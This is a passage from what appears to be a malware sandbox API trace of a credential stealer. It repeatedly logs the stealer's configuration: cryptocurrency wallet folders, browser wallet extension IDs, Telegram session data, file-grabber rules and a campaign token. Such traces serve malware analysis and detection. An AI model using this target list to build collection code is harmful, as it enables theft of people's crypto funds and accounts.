Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.747] lstrlenW (lpString="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4236 [0259.748] lstrlenW (lpString="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4236 [0259.748] LocalAlloc (uFlags=0x40, uBytes=0x2118) returned 0x6b9720 [0259.748] lstrlenW (lpString="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4236 [0259.748] LocalAlloc (uFlags=0x40, uBytes=0x2118) returned 0x6bb840 [0259.748] lstrlenW (lpString="wlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension 